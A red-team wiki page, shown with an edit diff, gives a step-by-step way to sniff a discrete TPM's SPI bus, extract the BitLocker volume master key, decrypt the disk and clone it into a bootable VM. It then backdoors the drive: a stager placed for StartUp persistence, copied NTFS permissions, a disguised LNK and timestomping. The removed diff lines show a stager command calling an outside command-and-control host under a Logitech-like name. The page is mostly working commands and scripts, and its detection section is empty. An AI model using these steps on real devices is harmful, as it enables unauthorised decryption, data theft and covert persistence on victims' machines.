Offensive Security/Extract BitLocker VMK from TPM: Difference between revisions

From Wiki Aghanim
Jump to navigationJump to search
No edit summary
 
(2 intermediate revisions by the same user not shown)
Line 389: Line 389:
=== Deploying Stager ===
=== Deploying Stager ===


<syntaxhighlight lang="bash">
The stager should be added to a users StartUp folder.
stagers create-http NodeNative net481 https://logic-update.azure-api.net \
  --filename UserCache \
  --userAgent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0"
</syntaxhighlight>
 
Copy the <code>UserCache</code> file to the LogiOptionsPlus folder, then copy the content to the target under:
<code>C:\Users\username\AppData\Local\</code>


=== Setting File Permissions ===
=== Setting File Permissions ===
Line 425: Line 418:
<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
/home/alaa/mslink_v1.3.sh \
/home/alaa/mslink_v1.3.sh \
   -o logioptionsplus.lnk \
   -o stager.lnk \
   -w 'C:\Users\domainusers\AppData\Local\LogiOptionsPlus' \
   -w 'C:\Users\domainusers\AppData\Local\YourStager' \
   -l 'C:\Users\domainusers\AppData\Local\LogiOptionsPlus\logioptionsplus.exe'
   -l 'C:\Users\domainusers\AppData\Local\YourStager\stager.exe'
</syntaxhighlight>
</syntaxhighlight>


Line 435: Line 428:
setfattr -n system.ntfs_acl -v \
setfattr -n system.ntfs_acl -v \
   "$(cat /mnt/Users/domainuser/AppData/Local/perms.txt | cut -d'=' -f2 | head -n2 | tail -n1)" \
   "$(cat /mnt/Users/domainuser/AppData/Local/perms.txt | cut -d'=' -f2 | head -n2 | tail -n1)" \
   logioptionsplus.lnk
   stager.lnk
</syntaxhighlight>
</syntaxhighlight>


Line 443: Line 436:
touch -d "2 hours ago" filename
touch -d "2 hours ago" filename
</syntaxhighlight>
</syntaxhighlight>
== Detection ==
TODO




[[Category:Offensive Security]]
[[Category:Offensive Security]]

Latest revision as of 08:15, 18 February 2026

BitLocker VMK Extraction via SPI

Prerequisites

  • Discrete TPM. Check for specific manufacturer (Infineon, STMicro, Nuvoton). If you see Intel PTT or AMD fTPM in BIOS, that means it's a firmware-based TPM.
  • A logic analyzer. In the office we have a Saleae.
  • Logic analyzer software. We use Logic 2.

Extracting BitLocker VMK

Locating the TPM Chip

The first step is to locate the TPM chip on the motherboard. The easiest way is to find a schematic for the motherboard and look for the TPM chip description. It is usually close to the CPU.

The best way to find schematics is to find the model number of the motherboard and search for that + "schematics".

Sources for finding schematics:

Once you locate the correct schematic (typically a .CAD file), leveraging an LLM can significantly accelerate TPM chip identification. LLMs can parse CAD files and quickly pinpoint the TPM component, saving considerable time during the reconnaissance phase.

Locating the SPI Bus Pins

After identifying the TPM chip, locate the following SPI bus pins:

  • CLK (Clock)
  • CS (Chip Select)
  • MOSI (Master Out, Slave In)
  • MISO (Master In, Slave Out)

Additionally, establish a proper ground connection to complete the circuit — this step is essential for reliable signal capture.

Configuring Logic 2

Launch Logic 2. Each wire harness on the Saleae analyzer corresponds to a numbered channel in the software. Create a reference table to ensure correct connections and name them accordingly. Example:

Saleae Channel Logic 2 Label SPI Signal
Channel 0 D0 CLK
Channel 1 D1 CS
Channel 2 D2 MOSI
Channel 3 D3 MISO

Voltage Configuration: Before capturing, set the correct voltage threshold in Logic 2's device settings. Consult the chip's datasheet or motherboard schematic to determine the TPM's operating voltage (typically 1.8V or 3.3V). Select the appropriate voltage level from the device settings panel to ensure accurate signal detection.

Adding the SPI Analyzer

In Logic 2, click Analyzers and add the built-in SPI analyzer. Configure with the following settings:

Setting Value
MOSI Assign to your MOSI channel
MISO Assign to your MISO channel
Clock Assign to your CLK channel
Enable (CS) Active High (if probing from flash chip CS line)
Bits per Transfer 8 bits
Significant Bit MSB first
Clock State Rising edge (most TPMs)
Stream to Terminal Disabled

Template:Note

Loading the BitLocker SPI Toolkit

To automatically identify the VMK in captured SPI traffic, use the GitHub - ReversecLabs/bitlocker-spi-toolkit.

  1. Go to Extensions → Load Existing Extension
  2. Navigate to the cloned repo's analyzer folder
  3. Load the BitLocker-Key-Extractor extension
  4. Edit the extension settings and set the Input Analyzer to SPI
  5. Enable Stream to Terminal

Attaching Probes and Capturing

Carefully attach the probe hooks to the SPI bus pins. Ensure each connection is secure and making proper electrical contact — poor connections result in signal noise or data loss. Use a magnifying glass if the pins are very small.

  1. Click Start in Logic 2
  2. Immediately power on the target device
  3. Wait until Windows has loaded (Windows logo or login screen is visible)
  4. Click Stop to end the capture

In the Analyzers panel, locate the BitLocker Key Extractor output. The BitLocker VMK will be displayed as a 32-byte hexadecimal string in the Data field. If not immediately visible, scroll through the analyzer results — the VMK annotation typically appears in the latter portion of the boot sequence.

Decrypting the Drive

Template:Warning

Boot a DFIR operating system from USB, such as:

The following commands will mount the drive as read-only:

# Create two directories
sudo mkdir -p /media/bitlocker
sudo mkdir -p /media/bitlocker_mount

# If your VMK is in hex, convert it to binary
echo "YOUR_HEX_VMK" | xxd -r -p > vmk.bin

# Use fdisk to identify correct drive
fdisk -l

# Decrypt with dislocker (READ ONLY)
sudo dislocker -r -V /dev/sdX -K vmk.bin -- /media/bitlocker

# Mount virtual files
sudo mount -o loop,ro -t ntfs-3g /media/bitlocker/dislocker-file /media/bitlocker_mount

# Verify read only
mount | grep bitlocker

# Unmount
sudo umount /media/bitlocker_mount
sudo umount /media/bitlocker

Creating a Bootable VMDK from BitLocker-Encrypted Windows Disk

Step 1: Mount the Backup Image

losetup -Pf --show /path/to/BackupImage.001

Expected output: /dev/loop0 or /dev/loop1.

Step 2: Inspect Partition Layout

fdisk -l /dev/loop1

Example output:

  • /dev/loop1p1 — 500M EFI System
  • /dev/loop1p2 — 128M Microsoft Reserved
  • /dev/loop1p3 — 250G Microsoft Basic Data (BitLocker encrypted)
  • /dev/loop1p4 — 2.4G Windows Recovery Environment

Step 3: Decrypt BitLocker Volume

echo "VMK_VALUE" | xxd -r -p > vmk.bin
dislocker /V /dev/loop1p3 -K vmk.bin -- /mnt/bitlocker

This creates a decrypted file called dislocker-file.

Step 4: Mount Decrypted Volume

sudo mount -o loop,ro -t ntfs-3g /mnt/bitlocker/dislocker-file /mnt/bitlocker_mounted
mount  # Verify mounted with ro

Step 5: Verification Commands

# Verify loop devices
losetup -a

# Check partition details
parted /dev/loop1 unit MiB print

# Verify mounts
mount | grep loop
df -h | grep loop

# Check available space
df -h "OUTPUT-FOLDER"

# Verify required tools
which mkfs.ntfs rsync parted

# Verify decrypted data
ls -la /mnt/bitlocker_mounted | head -20

Step 6: Create Bootable VMDK (Script)

The script below will:

  • Create a 244GB raw disk image (adjust based on your image size)
  • Partition it to match the original Windows disk (EFI + MSR + Windows + Recovery)
  • Format EFI partition (FAT32) and copy boot files
  • Format Windows partition (NTFS) and copy all decrypted data
  • Format recovery partition (NTFS)
  • Convert raw image to VMDK format
  • Clean up temporary files

Notes before running:

  • Lines 16–21: Verify variables are correct before proceeding
  • Line 92: Change partition size depending on image size
  • Line 106: Change depending on image size
  • Time estimate: 30–60 minutes
  • Temporary space needed: ~250GB
  • Final VMDK size: ~74GB (varies by source image)
#!/bin/bash
# ==============================================================================
# Script to create a bootable VMDK from BitLocker-decrypted Windows disk
# ==============================================================================
set -e

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'

ENCRYPTED_LOOP="/dev/loop0"
DECRYPTED_MOUNT="/mnt/hgfs/Shared_Kali/Laptop Image/bitlockermount"
WORK_DIR="/mnt/hgfs/Shared_Kali/Laptop Image"
RAW_IMAGE="$WORK_DIR/new_bootable_disk.img"
FINAL_VMDK="$WORK_DIR/Windows_Bootable.vmdk"
TEMP_LOOP=""

print_status() { echo -e "${GREEN}[+]${NC} $1"; }
print_error()  { echo -e "${RED}[!]${NC} $1"; }
print_warning(){ echo -e "${YELLOW}[*]${NC} $1"; }

cleanup() {
    print_warning "Cleaning up..."
    umount /mnt/new_efi 2>/dev/null || true
    umount /mnt/old_efi 2>/dev/null || true
    umount /mnt/new_win 2>/dev/null || true
    rmdir /mnt/new_efi /mnt/old_efi /mnt/new_win 2>/dev/null || true
    if [ -n "$TEMP_LOOP" ] && [ -b "$TEMP_LOOP" ]; then
        losetup -d "$TEMP_LOOP" 2>/dev/null || true
    fi
    qemu-nbd --disconnect /dev/nbd0 2>/dev/null || true
}
trap cleanup EXIT

print_status "Running pre-flight checks..."

if [ "$EUID" -ne 0 ]; then
    print_error "Please run as root"; exit 1
fi
if ! command -v sgdisk &> /dev/null; then
    print_error "sgdisk not installed. Run: apt install gdisk"; exit 1
fi
if [ ! -b "$ENCRYPTED_LOOP" ]; then
    print_error "Encrypted loop device $ENCRYPTED_LOOP not found"; exit 1
fi
if [ ! -d "$DECRYPTED_MOUNT" ]; then
    print_error "Decrypted mount point $DECRYPTED_MOUNT not found"; exit 1
fi

AVAILABLE_SPACE=$(df -BG "$WORK_DIR" | awk 'NR==2 {print $4}' | sed 's/G//')
if [ "$AVAILABLE_SPACE" -lt 250 ]; then
    print_error "Insufficient disk space. Need ~250GB, have ${AVAILABLE_SPACE}GB"; exit 1
fi

print_status "Pre-flight checks passed!"
print_warning "This will create a ~240GB disk image. Press Ctrl+C to cancel, or Enter to continue..."
read

print_status "Creating 244GB raw disk image..."
qemu-img create -f raw "$RAW_IMAGE" 244198M

print_status "Setting up loop device..."
TEMP_LOOP=$(losetup -fP --show "$RAW_IMAGE")
print_status "Using loop device: $TEMP_LOOP"
sleep 2

print_status "Creating GPT partition table with sgdisk..."
sgdisk -Z "$TEMP_LOOP" 2>/dev/null || true

sgdisk -n 1:2048:1026047    -t 1:EF00 -c 1:"EFI system partition"        "$TEMP_LOOP"
sgdisk -n 2:1026048:1288191 -t 2:0C01 -c 2:"Microsoft reserved partition" "$TEMP_LOOP"
sgdisk -n 3:1288192:494993407 -t 3:0700 -c 3:"Basic data partition"       "$TEMP_LOOP"
sgdisk -n 4:494993408:0     -t 4:2700 -c 4:"Basic data partition"         "$TEMP_LOOP"
sgdisk -A 1:set:0 "$TEMP_LOOP"
sgdisk -A 4:set:62 "$TEMP_LOOP"

partprobe "$TEMP_LOOP" 2>/dev/null || true
sleep 3

if [ ! -b "${TEMP_LOOP}p1" ]; then
    print_error "Partition creation failed"; exit 1
fi
sgdisk -p "$TEMP_LOOP"

print_status "Formatting EFI partition..."
mkfs.vfat -F32 "${TEMP_LOOP}p1"

print_status "Copying EFI boot files..."
mkdir -p /mnt/new_efi /mnt/old_efi
mount "${TEMP_LOOP}p1" /mnt/new_efi
mount "${ENCRYPTED_LOOP}p1" /mnt/old_efi
cp -av /mnt/old_efi/* /mnt/new_efi/
umount /mnt/new_efi
umount /mnt/old_efi

print_status "Formatting Windows partition..."
mkfs.ntfs -f -Q "${TEMP_LOOP}p3"

print_status "Copying Windows data..."
mkdir -p /mnt/new_win
mount "${TEMP_LOOP}p3" /mnt/new_win
rsync -aP --info=progress2 "$DECRYPTED_MOUNT/" /mnt/new_win/

SRC_SIZE=$(du -sb "$DECRYPTED_MOUNT" | cut -f1)
DST_SIZE=$(du -sb /mnt/new_win | cut -f1)
print_status "Source: $SRC_SIZE bytes | Destination: $DST_SIZE bytes"
umount /mnt/new_win

print_status "Formatting recovery partition..."
mkfs.ntfs -f -Q "${TEMP_LOOP}p4"

print_status "Detaching loop device..."
losetup -d "$TEMP_LOOP"
TEMP_LOOP=""

print_status "Converting to VMDK..."
qemu-img convert -f raw -O vmdk -p "$RAW_IMAGE" "$FINAL_VMDK"
qemu-img info "$FINAL_VMDK"

print_status "Cleaning up..."
rm -f "$RAW_IMAGE"
rmdir /mnt/new_efi /mnt/old_efi /mnt/new_win 2>/dev/null || true

print_status "VMDK creation complete! Output: $FINAL_VMDK"
print_status "Next steps:"
print_status "1. Import $FINAL_VMDK into VMware/VirtualBox"
print_status "2. Configure VM as UEFI boot"
print_status "3. If boot fails, use Windows installation media to run bootrec/bcdboot"

Step 7: Import VMDK to VMware

  1. Create a new VM
  2. Select Use existing virtual disk
  3. Select your newly created Windows_Bootable.vmdk
  4. Set Firmware to UEFI
  5. RAM: 8GB
  6. Processor: 2+ cores

Troubleshooting

If the VM fails to boot:

  1. Mount a Windows 11 installation ISO
  2. Select Repair your computer
  3. If that fails: Troubleshoot → Advanced Options → Command Prompt
  4. Run the following:
diskpart
list volume
select volume VOLUME_NUMBER   # Should be your EFI partition
assign letter S:
exit

bcdboot C:\Windows /s S: /f UEFI
exit   # Remove ISO and reboot

Backdooring

Mount Drive (Read Only)

sudo mkdir -p /media/bitlocker
sudo mkdir -p /media/bitlocker_mount

echo "YOUR_HEX_VMK" | xxd -r -p > vmk.bin

sudo dislocker -r -V /dev/sdX -K vmk.bin -- /media/bitlocker
sudo mount -o loop,ro -t ntfs-3g /media/bitlocker/dislocker-file /media/bitlocker_mount

mount | grep bitlocker

sudo umount /media/bitlocker_mount
sudo umount /media/bitlocker

Deploying Stager

The stager should be added to a users StartUp folder.

Setting File Permissions

Find an existing file from the target user directory and save its permissions:

getfattr -n system.ntfs_acl -e hex ../../Downloads/desktop.ini > perms.txt

Apply those permissions to all files in the LogiOptionsPlus folder:

find . -exec setfattr -n system.ntfs_acl -v \
  "$(cat /mnt/Users/domainuser/AppData/Local/perms.txt | cut -d'=' -f2 | head -n2 | tail -n1)" {} \;

Verify permissions:

ntfssecaudit ffmpeg.dll

Creating LNK File

Using mslink:

/home/alaa/mslink_v1.3.sh \
  -o stager.lnk \
  -w 'C:\Users\domainusers\AppData\Local\YourStager' \
  -l 'C:\Users\domainusers\AppData\Local\YourStager\stager.exe'

Apply permissions to the LNK file as well:

setfattr -n system.ntfs_acl -v \
  "$(cat /mnt/Users/domainuser/AppData/Local/perms.txt | cut -d'=' -f2 | head -n2 | tail -n1)" \
  stager.lnk

Timestomping

touch -d "2 hours ago" filename

Detection

TODO